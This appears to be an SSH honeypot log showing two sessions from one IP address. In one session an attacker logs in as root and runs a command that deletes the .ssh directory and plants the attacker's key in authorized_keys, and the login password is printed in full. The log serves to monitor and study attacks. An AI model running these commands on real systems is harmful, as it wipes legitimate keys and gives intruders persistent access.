[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: ab7d3d3a2747

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 12.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ab7d3d3a2747",
  "src_ip": "82.39.86.153",
  "start_time": "2026-07-07T01:43:06.506889Z",
  "end_time": "2026-07-07T01:43:18.662273Z",
  "duration": "12.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Abc1234567890"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

82.39.86.153

2026-07-07 01:40:41.075034 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: useruser

Record ID: 0b85ce098820

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0b85ce098820",
  "src_ip": "82.39.86.153",
  "start_time": "2026-07-07T01:40:41.075034Z",
  "end_time": "2026-07-07T01:40:43.019275Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "useruser",
      "pass": "useruser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}